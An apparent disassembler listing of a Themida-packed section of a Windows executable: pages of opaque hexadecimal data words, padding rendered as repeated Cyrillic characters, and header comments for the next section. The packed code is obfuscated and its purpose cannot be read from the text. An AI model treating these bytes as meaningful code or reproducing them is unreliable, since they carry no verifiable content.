0BE9h dd 0E12C0C00h, 0F3E92115h, 83C4231Fh, 18E0F51h, 0FC000000h dd 0FEBF0F59h, 0E5BE6057h, 0F52EB258h, 0BE95B61h, 94000000h dd 1838897Bh, 0E0C92B55h, 8B66395Bh, 0F1BCBEDEh, 0C88B3CA0h dd 81B9E280h, 24E4EDC8h, 860F5Dh, 81000000h, 8BCE15F1h dd 63E68166h, 8172A0E0h, 2EB8B8D3h, 60FA8B43h, 0A5A2D181h dd 60610788h, 13E9h, 0EB3B7600h, 99D27832h, 9DACC74Fh dd 0D1411E52h, 2632A1BAh, 3CF2BB66h, 9E961h, 0DE670000h dd 0EFF48589h, 0FD3472Ah, 68Ah, 0F5D88100h, 0E94FA6F9h dd 12h, 28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh dd 11E9181Eh, 0CC000000h, 0CD110717h, 3E4F9AD8h, 24B89327h dd 8A1F0C0h, 8A916ABEh, 60C78B4Dh, 4830Fh, 0BB660000h dd 60610311h, 0D78B6660h, 8E9h, 3F4EED00h, 84A02498h, 0AE86117h dd 66000000h, 37C6439Eh, 0BBA26105h, 0D82EBA94h, 615A3851h dd 148F0Fh, 0FE90000h, 65000000h, 399DFDDBh, 58B39B1Bh dd 0BB279621h, 0BF0FEFBBh, 28E0FD2h, 8B000000h, 0BE9DFh dd 8FB90000h, 0A387FB7Ch, 0F103E622h, 8B0F60B8h, 0Ah, 5E9h dd 5E581A00h, 0E9568166h, 0Ch, 67AAD642h, 0BB62964h, 37B57944h dd 0E9526159h, 8, 0D1E50125h, 0FD06FFD6h, 0DB81665Fh, 0F52CC20h dd 605AD6BFh, 12B3F78Bh, 68F0F61h, 81000000h, 0E83B58D1h dd 0AC9EBA10h, 0E8F5436Eh, 12h, 0D988099Dh, 0D7FB2C9Eh dd 0E26888E2h, 44890FA3h, 8B66E5D7h, 0D2815FC2h, 588C9AE3h dd 0FCF8B66h, 581h, 0E1816600h, 0E953AD59h, 11h, 813EA10Eh dd 0B3A8EE9Ah, 965EC837h, 4E94DB36h, 8A0F5880h, 0Ch, 6890Fh dd 820F0000h, 0 dd 0C272C881h, 840F3FEBh, 5, 2CF68166h, 1EB86617h, 6625B50Bh dd 6FF8D681h, 1F890Fh, 0F600000h, 86h, 11E800h, 0DC430000h dd 3901F18Ah, 7205FE37h, 0E57E75A9h, 59987818h, 0D8BF0F61h dd 0BF0FD18Ah, 0E993B1F7h, 5, 6606665Dh, 4880FB9h, 66000000h dd 0F48F0BAh, 583h, 0DE816600h, 0BB667042h, 5850B3CDh dd 0B70FE58Ah, 3ABF66FAh, 5BF952C0h, 5EFB8B51h, 0FDE8B66h dd 88h, 7691B800h, 800F3B2Ch, 6, 810Fh, 0BB510000h, 15E770DCh dd 8BD98B58h, 28A0FCBh, 8B000000h, 0B733BBD3h, 0BF0F51AFh dd 3DDE81F1h, 662ABE73h, 2A2BDE81h, 8B66D9B0h, 0F2B70FCBh dd 0DE9h, 0B71C5800h, 0B026C4D8h, 3F3D560Ch, 820FF271h dd 0Ch, 6860Fh, 0DA810000h, 21BDB6C2h, 5820Fh, 66500000h dd 815AC88Bh, 0C7D5DCC8h, 11E9515Fh, 44000000h, 87A78BD8h dd 0BAC08EAFh, 846B33AAh, 0ABA67370h, 14E95Eh, 16F00000h dd 67A18952h, 0CB58AD25h, 78AEE30Ch, 162E065Eh, 0BF0F1CB0h dd 13E9FFh, 0B7EB0000h, 383F2EE1h, 0D0DBB27Eh, 2BEF9BE7h dd 0E73D4E3Bh, 0C38B66BEh, 0E96051F8h, 5, 6276675Ch, 616160A2h dd 20C6BF5Bh, 0B70F0AAFh, 0BDB456D6h, 67D1805Fh, 57DABF0Fh dd 0E3DAB966h, 12E95Eh, 0C9A70000h, 0ACDBAE84h, 298CD51h dd 0AD27E80Ah, 0AC7CD2h, 64DE1ABBh, 0CA81661Bh, 15B90A2Fh dd 0F4C9BF8h, 8166D3BFh, 0F621CD0h, 0F560F8B7h, 0DFBA6661h dd 0F0BB53E7h, 5A51C334h, 28E0F52h, 0B1000000h, 0EB81593Ch dd 0DDF7181h, 94AC38BAh, 14E97Eh, 9CD80000h, 9C1E766h dd 0C44795E4h, 901C2337h, 0C6A86B17h, 8B66239Eh, 0D08B66F0h dd 5CE38166h, 0E2816682h, 0E881833Eh, 5677A764h, 8C0Fh dd 6E80000h, 28000000h, 2FCA75Ah, 0CFB70F86h, 0BF0FF85Fh dd 0AE8DAh, 0C7050000h, 121731A2h, 53D73278h, 56D798B9h dd 3BBE5803h, 662C2B98h, 2307C981h, 0CE8h, 16B27B00h, 0AFC5332Ch dd 0E793845Ch, 94EF8024h, 0BF0F605Ah, 0AE961F9h, 4F000000h dd 0F9F24CB3h, 0A8CE3FD4h, 0E5F9BB93h, 0FC60738Dh, 5870Fh dd 81660000h, 618CE9F1h, 0DF8150FCh, 2D87C83h, 5DBE665Eh dd 0F2816694h, 0B1BE1921h, 0F0C61B2h, 1684h, 11E900h, 0FD6A0000h dd 0D3A5B3D6h, 1B6BE8AEh, 96415DFDh, 0FA86607h, 0D08BD7B7h dd 0F19FE6BEh, 0F7816671h, 0BBF5D29Bh, 7E842745h, 0FF3BBB66h dd 14E9D18Bh, 57000000h, 480798B8h, 51B5CB7Fh, 83D7E214h dd 875F4F21h, 0E9330057h, 0Eh, 0B471A916h, 0F0AAF980h dd 0DCBD436Bh, 800F61FCh, 2, 66FCD78Bh, 60266BB8h, 0CE9h dd 460AE800h, 0D5C0AFB9h, 0FDC3EC74h, 0D2805275h, 0BF615989h dd 39E1B38Dh, 0D850FF5h, 0E9000000h, 8, 0EA6D9EA8h, 0B43E8A83h dd 0BDA952BEh, 10E97Dh, 0C1FE0000h, 10CF0EC2h, 3AF11531h dd 77075D93h, 0D2814DF5h, 6EA0CCC0h, 0A7D01ABAh, 7BB3BF4Ch dd 81663F49h, 0E9F02EE1h, 12h, 3F21538Dh, 96E4B475h, 0EB9BB32Ch dd 0B5A4BAD2h, 0B70F5FF4h, 0B7AFBBC9h, 0BF607CA7h, 69199446h dd 68C0Fh, 0D6810000h, 15AB475Dh, 6609B561h, 890FFB8Bh dd 5, 642702B9h, 95BF6632h, 0F08166F3h, 0E8F9C3DAh, 9 dd 7C8A89EDh, 10819424h, 59C88AD3h, 0E9D9B70Fh, 13h, 327CF8BAh dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0FDD1EF6h, 82h, 0E9F88B00h dd 0Dh, 0ED11271Ch, 0C35E3F64h, 7739C177h, 0C9B70F67h dd 0E9D08B66h, 0Fh, 0A4E3E44h, 55B045CCh, 42CFD013h, 0E96A264Eh dd 0Ch, 61A6991Bh, 81FA897Dh, 2725613Eh, 0B96633B0h, 8B0F1BF0h dd 4, 5BDC8A52h, 62A26DBEh, 0F7E1817Ah, 817C951Dh, 0DEECFBCAh dd 0C38B6652h, 58E0Fh, 81660000h, 0BA7759D9h, 7A0E4A66h dd 8E8h, 68C36900h, 5B165B57h, 38E0FC7h, 66000000h, 0F58C78Bh dd 0CE9DBBFh, 4B000000h, 0EEE72D8Ch, 14A14473h, 0F56C0272h dd 0EFF08166h, 0FBE6811Eh, 6617EC82h, 0BF4CA0BFh, 5DA05B6Fh dd 53C18B66h, 5FCB8B66h, 0BE9h, 0AFF4C500h, 0EE5CB9D5h dd 0B9E89CDAh, 0E9C2B70Fh, 0Ah, 4B37DCBEh, 2D64AB9Ch, 60B44DEFh dd 0A0F38160h, 6672C77Bh, 0D46BC081h, 54EF8161h, 8B6A615Fh dd 0D6BF0FDFh, 4372BE66h, 0DBDC8FB8h, 820F600Fh, 5, 1BEF6BBFh dd 0F61F56Fh, 181h, 0B70FF900h, 3850FD6h, 80000000h, 0DB8196DFh dd 6C77B77h, 0C781FE8Bh, 3887A029h, 3815E281h, 0C7814643h dd 5F72D3CCh, 0D10134BEh, 5E931h, 54050000h, 8AE8BE69h dd 0F68166D9h, 0DABEFBB1h, 660D8955h, 0E96B25BBh, 0Fh dd 12AF5BBEh, 90435020h, 0B6DA88F4h, 0F1C5D46h, 587h, 0DF816600h dd 0F1818E73h, 308D4113h, 1840Fh, 60F80000h, 66FCDA80h dd 6172F9B8h, 0BEB4A0BFh, 0C681666Ah, 0E5B3BDE9h, 8BEEC180h dd 6E960F8h, 0A1000000h, 0E885F53Fh, 6132B308h, 98F28166h dd 0FE9F99Ah, 43000000h, 6E1DD302h, 0C4D450BBh, 0B0BF1862h dd 8B66DC0Fh, 3D44B9C2h, 0FE95FA9h, 0D0000000h, 82B4ABCCh dd 0AAADBDCh, 74F52C00h, 67BE8FCCh, 0F63B614h, 25BEC9BFh dd 66321386h, 0B657E781h, 6057CF8Ah, 8BF38B66h, 0FC5861D6h dd 0DE9h, 62D9B400h, 0E5CA335Bh, 870922ECh, 0FE8D651h dd 3D000000h, 0E49373CBh, 6C38BD47h, 0CDF67A35h, 5AF81B77h dd 88E3D681h, 0CA803636h, 0B8D0FC9h, 0F000000h, 58Bh, 2A14BA00h dd 10E91017h, 4A000000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h dd 6074A0B4h, 0FC6164B5h, 10E8h, 0BCD6FC00h, 0F3A513D8h dd 0DF672B9Bh, 0CFF00E3Dh, 0B70F6062h, 0D3B70FC6h, 0B5F55F61h dd 6820FFBh, 81000000h, 0BB9F5C8h, 0F0816639h, 0FA8B72E3h dd 0AE8h, 3297CA00h, 0E9DD6A8Ch, 804285A7h, 0F5830DCh dd 5E9FFBFh, 0D8000000h, 408BE317h, 0EE9h, 7C16C200h, 522D030h dd 4D12CAAEh, 0BA300CAAh, 37F2BB11h, 66F7B70Fh, 0FC9C06BFh dd 0CE9h, 42BDA00h, 0F5B82A86h, 72D8F588h, 66F9F91Eh, 2059D381h dd 8E9h, 0D4CA400h, 0CA8B7D9Bh, 0E8D9B5CDh, 0Eh, 0CAC265BBh dd 9241F9Eh, 85A48A41h, 0BE666CE1h, 665F4629h, 520DE381h dd 0EE9h, 0EF658600h, 0CC4E2855h, 0A257249h, 0F4B2491h dd 0B8Dh, 5830F00h, 66000000h, 3320C881h, 709FEF81h, 0B866469Bh dd 8B660D62h, 3820FD7h, 66000000h, 11E8D08Bh, 1D000000h dd 18297ED1h, 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h, 816659F9h dd 8A8456C3h, 0D8D281EAh, 0E9441D7Dh, 14h, 6AB0B461h, 787B4519h dd 90EBA165h, 43CAD94Ch, 43B37452h, 1800Fh, 56F90000h dd 58C9D980h, 0D6BF0F57h, 5850F5Eh, 66000000h, 0EF13C781h dd 81DFB70Fh, 59703FC6h, 66F78B15h, 820FF88Bh, 5, 15D68166h dd 800F601Dh, 5, 0AA30F4BFh, 0A5F4800Eh, 7E861h, 0CB560000h dd 468DAD2h, 850F6Dh, 5A000000h, 9E9h, 8E9E2B00h, 6203801h dd 8B0F1D08h, 5, 79F78166h, 72BF6645h, 8B0F10h, 56000000h dd 0DE816651h, 5A5B2BD0h, 5890Fh, 84B80000h, 0B92DA725h dd 4761983Dh, 14880Fh, 8E80000h, 15000000h dd 3488BCBh, 0F484B73h, 8Eh, 0E9F85A00h, 7, 8B6A4A8Ch dd 8AC4A889h, 890FF8C6h, 0 dd 6E9h, 24692A00h, 815CFB23h, 4E4341F7h, 0DDBA6601h, 68BA66F1h dd 0CBBF0F0Ah, 8830Fh, 850F0000h, 2, 0BE85E57h, 74000000h dd 8589DE67h, 472AEFF4h, 0B050F0D3h, 665E5EBBh, 81DA0ABBh dd 0F17644EBh, 0BE810h, 1C1F0000h, 705FE20Ch, 7F74FEC4h dd 9E947h, 85C30000h, 1714C456h, 5B5FF9BFh, 0ED2BB66h dd 113CD781h, 0B70F29C6h, 0FCB8BC0h, 0A84h, 5E900h, 0F4810000h dd 0E91AD20Bh, 10h, 545D8E22h, 4E3A7A21h, 86B61A4Eh, 0ACDA5E64h dd 0C28BFA8Bh, 0BE66D18Bh, 860FA289h, 9, 3870Fh, 0C6800000h dd 13E9F0h, 6DAE0000h, 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h dd 424068A6h, 5830F09h, 0BE000000h, 3172D8FDh, 92A8C881h dd 66F93962h, 0D181DF8Bh, 6CC4600Ch, 8E9h, 0A12A7900h dd 6F5AE042h, 870FF843h, 0 dd 0C480D08Bh, 11E9F0h, 0C1A0000h, 0CD759E00h, 5C390474h dd 0BBAE246Eh, 0F72BC90h, 28Eh, 0BAC38B00h, 2E8E7D35h dd 0F0BFFE8Bh, 601DA5F4h, 0A8D08060h, 0B70F6161h, 58E0FF3h dd 0B8000000h, 1F55D5E6h, 6660D98Bh, 8BECA6BFh, 606061DFh dd 8E7E6DBEh, 5E85Eh, 0ABF60000h, 5F3E1106h, 0DA816661h dd 8A61CC85h, 0C18166C6h, 8A0F091Dh, 3, 0FDEB70Fh, 680h dd 3BCB8100h, 66774C04h, 0E9471CBEh, 0Bh, 0C61BBE1Ah, 62EE745Fh dd 0F6722EAh, 28Ch, 0BB5AB500h, 56526Ch, 15840Fh, 0E9510000h dd 0Eh, 55EF6586h, 49CC4E28h, 910A2572h, 515A4B24h, 0F5FCB8Bh dd 88h, 0DF8B6600h, 13E8h, 0FD6AAC00h, 0D3A5B3D6h, 1B6BE8AEh dd 96415DFDh, 0FBA86607h, 4AF1DE81h, 0F8586222h, 11E9FCh dd 8F280000h, 724A8475h, 766FC7A8h, 476DBD9Ah, 81811DACh dd 0ECE570F6h, 80DA8B24h, 0D081C4C6h, 0FE6912Eh, 0D9F08166h dd 0E9D18BE5h, 10h, 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh dd 0D197BF95h, 5712EF80h, 7E8h, 0F819C700h, 5CEA5CD5h dd 0A77B97BAh, 515E5B2Ah, 8E9h, 0B51D7800h, 11DF2BF3h dd 0EE8A59F5h, 13E8h, 298C8700h, 9F761A8Eh, 158139Dh, 21EA1BA2h dd 0FFB531B0h, 5FD2B70Fh, 13E9F5h, 3C9C0000h, 75F9D56Fh dd 0A656974Eh, 0C33BCE10h, 924C5302h, 0CF8B661Eh, 66F5D98Bh dd 129D181h, 5E9CC8Ah, 43000000h, 5D28EAF0h, 6E9h, 0C3634500h dd 0F76A2AAh, 1A8Bh, 0EE800h, 31480000h, 2F7172BDh, 0B1F4579Bh dd 541512E2h, 810Fh, 66590000h, 0BF0FF18Bh, 0C38166D9h dd 0F578930h, 381h, 0FE8B6600h, 0ECEE805Fh, 0FD78B66h dd 8151D1BFh, 28AE55E6h, 0BE95822h, 52000000h, 0BCDA8EE9h dd 9606167Ch, 0B70F7E6Eh, 14E8C7h, 0AFEF0000h, 8D77AFA6h dd 0A7E6CE55h, 600648B8h, 0FBB8502Fh, 68BF24D3h, 5A5D60EEh dd 0BE665250h, 5B5AE4BDh, 0EE8h, 0D03B4500h, 0E2F3E87h dd 5A170912h, 0F48C00Ch, 0B358D8BFh, 6DCE8140h, 8064268Eh dd 11E8E9C1h, 43000000h, 91199EFCh, 83C90C99h, 0EA2B20B3h dd 0A44CADD1h, 18F78166h, 870F5842h, 2, 7E8C78Ah, 0A5000000h dd 5055478Ch, 870F2FAEh, 3, 5EDABF0Fh, 0BE857h, 78910000h dd 4A2930ABh, 0BF506CE5h, 0E5F4B9B8h, 5A597BCEh, 38D0FF9h dd 66000000h, 8B66D18Bh, 0B0F681C3h, 0F08370Dh, 0D18BF6BFh dd 81F0B70Fh, 0FD9FFDCAh, 8E975h, 0EDC10000h, 37113154h dd 5E501866h, 11E9h, 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h dd 8C30A825h, 0E78004E0h, 0C68B5058h, 8EA815Bh, 570DDF9Bh dd 81665BFCh, 604F83C7h, 0FCB8B66h, 68Bh, 8C0F00h, 61000000h dd 0E1D5BA66h, 11E9h, 0D9462A00h, 0DA6EBA3Ch, 77B5B91Ch dd 0CF13FA13h, 0E957CBCFh, 0Ch, 2AFD9647h, 0E1A6190Dh dd 16AF1F4Fh, 14E95Bh, 0F5F50000h, 0F04414C3h, 71325AE5h dd 8B8321EFh, 510AE5A0h, 0D0B1FB83h, 1860Fh, 0BEF80000h dd 42601C87h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch, 9B945615h dd 81AA09Ah, 28F0F52h, 8B000000h, 81665BD7h, 8B0997E9h dd 13E8D8h, 0CA4E0000h, 8BF40132h, 5117C6A3h, 5ACEF06h dd 0B9769CC8h, 5B5E507Fh, 9AE181FCh, 817E7876h, 747D4C9h dd 0D08B6633h, 0BE9h, 0B8B37B00h, 31A406C4h, 23336241h dd 0B6DCCB80h, 0AE9B9h, 0A0940000h, 9A1E7D94h, 91BBB555h dd 6CC99ABEh, 0E781F845h, 24B3289Fh, 11B9D881h, 0F281355Eh dd 451D1068h, 0EE9h, 0F6546C00h, 3325B537h, 0AE0B70ECh dd 66202FF0h, 0BF0FFA8Bh, 8A0F60F0h, 2, 81665951h, 6181A7DBh dd 0BE9h, 0BE5EE000h, 4AE05277h, 25A57566h, 0B5C6BF0Fh dd 0AE927h, 0F7BF0000h, 455A966Ah, 0DE55DD3Eh, 19820Fh dd 14E90000h, 0A5000000h, 0E5818377h, 0AF7AA451h, 687808FBh dd 0FFF415B2h, 80827294h, 0D38075E9h, 0FFE8B1Ch, 0D08BDABFh dd 0AE9h, 0D8D78100h, 78EE2AE4h, 0B834EF1Eh, 3195F9ECh dd 5E9h, 85DE0B00h, 0B966B743h, 14E916E5h, 0D4000000h dd 1514D235h, 0B4B1CE66h, 64359E40h, 0C0635407h, 0F986AF9h dd 8Fh, 0C0BF6600h, 0DBB70F0Eh, 608BEEB9h, 0D2BF0F64h dd 6EE5E781h, 0DB815CACh, 5A8B82Ah, 80CF8B60h, 0E9615AE0h dd 9, 7DB4CCABh, 232AF3FEh, 97B866A1h, 0D38B665Eh, 158F0Fh dd 10E90000h, 2E000000h, 0DFF83371h, 79A00FC4h, 0F618C359h dd 0E807B1D3h, 14h, 0D7A1299h, 7289E569h, 9DA01365h, 790434BEh dd 97029FF5h, 3EBB575Bh, 5E183420h, 0FC9BF0Fh, 386h, 0C8BF0F00h dd 12E960h, 129A0000h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h dd 365620Bh, 0F0EABF66h, 0F1B70F61h, 9E960h, 0E4B50000h dd 5F116971h, 0F92D1E9h, 586h, 0D6816600h, 606177EFh, 0DEB70FF5h dd 0E3815261h, 6E5D9FF4h, 8166FC5Fh, 667718F1h, 10E8D68Bh dd 8000000h, 837C7798h, 0D550A274h, 9FA79344h, 8155B484h dd 53BFBFEEh, 0A9B75A17h, 860Fh, 0BF660000h, 0E88A9416h dd 665DCE80h, 76B5C88Bh, 7E9h, 0B04F2C00h, 382470FFh, 4810Fh dd 8B560000h, 880F5BCAh, 5, 647BC1BBh, 6CD98130h, 0F4EF80Ch dd 81h, 3133BB00h, 0CE9071Fh, 0AC000000h, 15C8944Dh, 57B3C8F2h dd 0FF5D2FCh, 1A88h, 14E800h, 9E6F0000h, 9DC2D6EAh, 0E064C018h dd 5A9FBD6Ch, 39975704h, 0B95A117Dh, 2645BE97h, 0AE9h dd 80757300h, 2EF1E1F0h, 0F4D30CFh, 0BF0FDFB7h, 0E68166CAh dd 0C88B30D6h, 0B390CA81h, 0BF0F75B9h, 66EFB7F1h, 41CCE381h dd 5EAEBF66h, 14E935B1h, 70000000h, 0D96F9064h, 44667B1Bh dd 520B74EAh, 0ACEC2F2Ch, 602D9410h, 51D1BF0Fh, 10E9h dd 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 0BF615B75h dd 47029C54h, 6E8h, 54741D00h, 0FB12DBEh, 0E959C7B7h, 0Fh dd 2F8A088h, 0FFE3EBAAh, 2624E6CDh, 50444E10h, 0CD17DA81h dd 8B5F3A4Fh, 0BF0FFCF2h, 66C18BCBh, 552FDA81h, 0D08166F9h dd 816612E2h, 66EAECC0h, 0F51F28Bh, 815FFAB7h, 48915CCAh dd 6660F52Ah, 14ACC081h, 0DE9h, 0E0CAE400h, 9F54E352h dd 0B91699ABh, 6661C15Fh, 8BD855B9h, 5E960F0h, 89000000h dd 2C4EC847h, 0BE9h, 0C613A300h, 0CB5C8487h, 245BBD10h dd 8B50F561h, 66F859C2h, 66089DBEh, 81C5CAB9h, 6D1C42E0h dd 0C0B70F3Bh, 4BA6660h, 2860FB8h, 50000000h, 8B66615Bh dd 58B0FCEh, 0BA000000h, 378A6E44h, 0BE8h, 81486900h, 9EBD657Ch dd 63BDA868h, 12890Fh, 0DE90000h, 0F0000000h, 7A39BAF9h dd 8DFA4DE2h, 6D2DE29Ah, 0FCC38A59h, 0FFC88166h, 96F167DCh dd 220h dup(96F16776h), 72636776h, 443h dup(72630C7Ah) dd 0C30E8B7Ah, 0B9h dup(0C30E8B74h), 9316AFEAh, 247h dup(9316AFEBh) dd 0CA132EBh, 1A7h dup(0CA132DEh), 0CCCC32DEh, 1E2h dup(0CCCCCCCCh) db 2 dup(0CCh) asc_5BBAFE db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:0053C850o db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001BE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 